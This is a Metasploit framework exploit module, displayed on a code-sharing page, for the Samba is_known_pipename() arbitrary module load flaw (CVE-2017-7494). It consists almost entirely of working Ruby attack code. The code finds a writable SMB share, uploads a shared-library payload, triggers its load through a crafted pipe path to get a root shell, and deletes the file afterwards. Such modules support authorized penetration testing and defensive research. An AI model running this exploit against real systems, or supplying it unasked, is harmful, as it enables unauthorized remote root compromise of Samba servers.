Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/is_known_pipename.rb
21666 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
17
'Description' => %q{
18
This module triggers an arbitrary shared library load vulnerability
19
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
20
requires valid credentials, a writeable folder in an accessible share,
21
and knowledge of the server-side path of the writeable folder. In
22
some cases, anonymous access combined with common filesystem locations
23
can be used to automatically exploit this vulnerability.
24
},
25
'Author' => [
26
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
27
'hdm', # Metasploit Module
28
'bcoles', # Check logic
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'CVE', '2017-7494' ],
33
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
34
[ 'ATT&CK', Mitre::Attack::Technique::T1083_FILE_AND_DIRECTORY_DISCOVERY ],
35
[ 'ATT&CK', Mitre::Attack::Technique::T1135_NETWORK_SHARE_DISCOVERY ],
36
[ 'ATT&CK', Mitre::Attack::Technique::T1592_002_SOFTWARE ],
37
[ 'ATT&CK', Mitre::Attack::Technique::T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION ]
38
],
39
'Payload' => {
40
'Space' => 9000,
41
'DisableNops' => true
42
},
43
'Platform' => 'linux',
44
'Targets' => [
45
46
[
47
'Automatic (Interact)',
48
{
49
'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
50
'Payload' => {
51
'Compat' => {
52
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
53
}
54
}
55
}
56
],
57
[
58
'Automatic (Command)',
59
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
60
],
61
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
62
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
63
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
64
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
65
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
66
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
67
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
68
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
69
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
70
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
71
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
72
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
73
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
74
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
75
],
76
'DefaultOptions' => {
77
'DCERPC::fake_bind_multi' => false,
78
'SHELL' => '/bin/sh'
79
},
80
'Privileged' => true,
81
'DisclosureDate' => '2017-03-24',
82
'DefaultTarget' => 0,
83
'Notes' => {
84
'Stability' => [CRASH_SAFE],
85
'SideEffects' => [IOC_IN_LOGS],
86
'Reliability' => [REPEATABLE_SESSION]
87
}
88
)
89
)
90
91
register_options(
92
[
93
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
94
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
95
]
96
)
97
end
98
99
def post_auth?
100
true
101
end
102
103
# Setup our mapping of Metasploit architectures to gcc architectures
104
def setup
105
super
106
@payload_arch_mappings = {
107
ARCH_X86 => [ 'x86' ],
108
ARCH_X64 => [ 'x86_64' ],
109
ARCH_MIPS => [ 'mips' ],
110
ARCH_MIPSLE => [ 'mipsel' ],
111
ARCH_MIPSBE => [ 'mips' ],
112
ARCH_MIPS64 => [ 'mips64' ],
113
ARCH_MIPS64LE => [ 'mips64el' ],
114
ARCH_PPC => [ 'powerpc' ],
115
ARCH_PPC64 => [ 'powerpc64' ],
116
ARCH_PPC64LE => [ 'powerpc64le' ],
117
ARCH_SPARC => [ 'sparc' ],
118
ARCH_SPARC64 => [ 'sparc64' ],
119
ARCH_ARMLE => [ 'armel', 'armhf' ],
120
ARCH_AARCH64 => [ 'aarch64' ],
121
ARCH_ZARCH => [ 's390x' ]
122
}
123
124
# Architectures we don't offically support but can shell anyways with interact
125
@payload_arch_bonus = %w[
126
mips64el sparc64 s390x
127
]
128
129
# General platforms (OS + C library)
130
@payload_platforms = %w[
131
linux-glibc
132
]
133
end
134
135
# List all top-level directories within a given share
136
def enumerate_directories(share)
137
vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
138
connect(versions: [1])
139
smb_login
140
simple.connect("\\\\#{rhost}\\#{share}")
141
stuff = simple.client.find_first('\\*')
142
directories = ['']
143
stuff.each_pair do |entry, entry_attr|
144
next if %w[. ..].include?(entry)
145
next unless entry_attr['type'] == 'D'
146
147
directories << entry
148
end
149
150
return directories
151
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
152
vprint_error("Enum #{share}: #{e}")
153
return nil
154
ensure
155
simple.disconnect("\\\\#{rhost}\\#{share}")
156
smb_connect
157
end
158
159
# Determine whether a directory in a share is writeable
160
def verify_writeable_directory(share, directory = '')
161
simple.connect("\\\\#{rhost}\\#{share}")
162
163
random_filename = Rex::Text.rand_text_alpha(5) + '.txt'
164
filename = directory.empty? ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
165
166
wfd = simple.open(filename, 'rwct')
167
wfd << Rex::Text.rand_text_alpha(8)
168
wfd.close
169
170
simple.delete(filename)
171
return true
172
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
173
vprint_error("Write #{share}#{filename}: #{e}")
174
return false
175
ensure
176
simple.disconnect("\\\\#{rhost}\\#{share}")
177
end
178
179
# Call NetShareGetInfo to retrieve the server-side path
180
def find_share_path
181
share_info = smb_netsharegetinfo(@share)
182
share_info[:path].gsub('\\', '/').sub(/^.*:/, '')
183
end
184
185
# Crawl top-level directories and test for writeable
186
def find_writeable_path(share)
187
subdirs = enumerate_directories(share)
188
return unless subdirs
189
190
if !datastore['SMB_FOLDER'].to_s.empty?
191
subdirs.unshift(datastore['SMB_FOLDER'])
192
end
193
194
subdirs.each do |subdir|
195
next unless verify_writeable_directory(share, subdir)
196
197
return subdir
198
end
199
200
nil
201
end
202
203
# Locate a writeable directory across identified shares
204
def find_writeable_share_path
205
@path = nil
206
share_info = smb_netshareenumall
207
if datastore['SMB_SHARE_NAME'].blank?
208
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
209
end
210
211
share_info.each do |share|
212
next if share.first.upcase == 'IPC$'
213
214
found = find_writeable_path(share.first)
215
next unless found
216
217
@share = share.first
218
@path = found
219
break
220
end
221
end
222
223
# Locate a writeable share
224
def find_writeable
225
find_writeable_share_path
226
unless @share && @path
227
print_error('No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER')
228
fail_with(Failure::NoTarget, 'No matching target')
229
end
230
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
231
end
232
233
# Store the wrapped payload into the writeable share
234
def upload_payload(wrapped_payload)
235
begin
236
simple.connect("\\\\#{rhost}\\#{@share}")
237
238
random_filename = Rex::Text.rand_text_alpha(8) + '.so'
239
filename = @path.empty? ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
240
241
wfd = simple.open(filename, 'rwct')
242
wfd << wrapped_payload
243
wfd.close
244
245
@payload_name = random_filename
246
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
247
print_error("Write #{@share}#{filename}: #{e}")
248
return false
249
ensure
250
simple.disconnect("\\\\#{rhost}\\#{@share}")
251
end
252
253
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
254
return true
255
end
256
257
# Try both pipe open formats in order to load the uploaded shared library
258
def trigger_payload
259
target = [@share_path, @path, @payload_name].join('/').gsub(%r{/+}, '/')
260
[
261
'\\\\PIPE\\' + target,
262
target
263
].each do |tpath|
264
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
265
266
smb_connect
267
268
# Try to execute the shared library from the share
269
begin
270
simple.client.create_pipe(tpath)
271
probe_module_path(tpath)
272
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
273
# Common errors we can safely ignore
274
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
275
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
276
if e.error_code == 0xc0000039
277
pwn
278
return true
279
else
280
print_error(" >> Failed to load #{e.error_name}")
281
end
282
rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
283
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
284
pwn
285
return true
286
else
287
print_error(" >> Failed to load #{e.status_code.name}")
288
end
289
end
290
291
disconnect
292
end
293
294
false
295
end
296
297
def pwn
298
print_good('Probe response indicates the interactive payload was loaded...')
299
smb_shell = sock
300
self.sock = nil
301
remove_socket(sock)
302
handler(smb_shell)
303
end
304
305
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
306
def cycle_possible_payloads
307
template_base = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-7494')
308
template_list = []
309
template_type = nil
310
311
# Handle the generic command types first
312
if target.arch.include?(ARCH_CMD)
313
template_type = target['Interact'] ? 'findsock' : 'system'
314
315
all_architectures = @payload_arch_mappings.values.flatten.uniq
316
317
# Include our bonus architectures for the interact payload
318
if target['Interact']
319
@payload_arch_bonus.each do |t_arch|
320
all_architectures << t_arch
321
end
322
end
323
324
# Prioritize the most common architectures first
325
%w[x86_64 x86 armel armhf mips mipsel].each do |t_arch|
326
template_list << all_architectures.delete(t_arch)
327
end
328
329
# Queue up the rest for later
330
all_architectures.each do |t_arch|
331
template_list << t_arch
332
end
333
334
# Handle the specific architecture targets next
335
else
336
template_type = 'shellcode'
337
target.arch.each do |t_name|
338
@payload_arch_mappings[t_name].each do |t_arch|
339
template_list << t_arch
340
end
341
end
342
end
343
344
# Remove any duplicates that mau have snuck in
345
template_list.uniq!
346
347
# Cycle through each top-level platform we know about
348
@payload_platforms.each do |t_plat|
349
# Cycle through each template and yield
350
template_list.each do |t_arch|
351
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
352
next unless ::File.exist?(wrapper_path)
353
354
data = ''
355
::File.open(wrapper_path, 'rb') do |fd|
356
data = Rex::Text.ungzip(fd.read)
357
end
358
359
pidx = data.index('PAYLOAD')
360
if pidx
361
data[pidx, payload.encoded.length] = payload.encoded
362
end
363
364
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
365
yield(data)
366
end
367
end
368
end
369
370
# Verify that the payload settings make sense
371
def sanity_check
372
if target['Interact'] && datastore['PAYLOAD'] != 'cmd/unix/interact'
373
print_error('Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact')
374
print_error(' Please set PAYLOAD to cmd/unix/interact and try this again')
375
print_error('')
376
fail_with(Failure::NoTarget, 'Invalid payload chosen for the interactive target')
377
end
378
379
if !target['Interact'] && datastore['PAYLOAD'] == 'cmd/unix/interact'
380
print_error('Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact')
381
print_error(' Please set a valid PAYLOAD and try this again')
382
print_error('')
383
fail_with(Failure::NoTarget, 'Invalid payload chosen for the non-interactive target')
384
end
385
end
386
387
# Shorthand for connect and login
388
def smb_connect
389
connect
390
smb_login
391
end
392
393
# Start the shell train
394
def exploit
395
# Validate settings
396
sanity_check
397
398
# Setup SMB
399
smb_connect
400
401
# Find a writeable share
402
find_writeable
403
404
# Retrieve the server-side path of the share like a boss
405
print_status("Retrieving the remote path of the share '#{@share}'")
406
@share_path = find_share_path
407
print_status("Share '#{@share}' has server-side path '#{@share_path}")
408
409
# Disconnect
410
disconnect
411
412
# Create wrappers for each potential architecture
413
cycle_possible_payloads do |wrapped_payload|
414
# Connect, upload the shared library payload, disconnect
415
smb_connect
416
upload_payload(wrapped_payload)
417
disconnect
418
419
# Trigger the payload
420
early = trigger_payload
421
422
# Cleanup the payload
423
begin
424
smb_connect
425
simple.connect("\\\\#{rhost}\\#{@share}")
426
uploaded_path = @path.empty? ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
427
simple.delete(uploaded_path)
428
disconnect
429
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError => e
430
vprint_error(e.message)
431
end
432
433
# Bail early if our interact payload loaded
434
return if early
435
end
436
end
437
438
# A version-based vulnerability check for Samba
439
def check
440
res = smb_fingerprint
441
442
unless res['native_lm'] =~ /Samba ([\d.]+)/
443
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
444
return CheckCode::Safe
445
end
446
447
samba_version = Rex::Version.new(::Regexp.last_match(1).gsub(/\.$/, ''))
448
449
vprint_status("Samba version identified as #{samba_version}")
450
451
if samba_version < Rex::Version.new('3.5.0')
452
return CheckCode::Safe
453
end
454
455
# Patched in 4.4.14
456
if samba_version < Rex::Version.new('4.5.0') &&
457
samba_version >= Rex::Version.new('4.4.14')
458
return CheckCode::Safe
459
end
460
461
# Patched in 4.5.10
462
if samba_version > Rex::Version.new('4.5.0') &&
463
samba_version < Rex::Version.new('4.6.0') &&
464
samba_version >= Rex::Version.new('4.5.10')
465
return CheckCode::Safe
466
end
467
468
# Patched in 4.6.4
469
if samba_version >= Rex::Version.new('4.6.4')
470
return CheckCode::Safe
471
end
472
473
smb_connect
474
find_writeable_share_path
475
disconnect
476
477
if @share.to_s.empty?
478
return CheckCode::Detected("Samba version #{samba_version} found, but no writeable share has been identified")
479
end
480
481
return CheckCode::Appears("Samba version #{samba_version} found with writeable share '#{@share}'")
482
end
483
end
484
485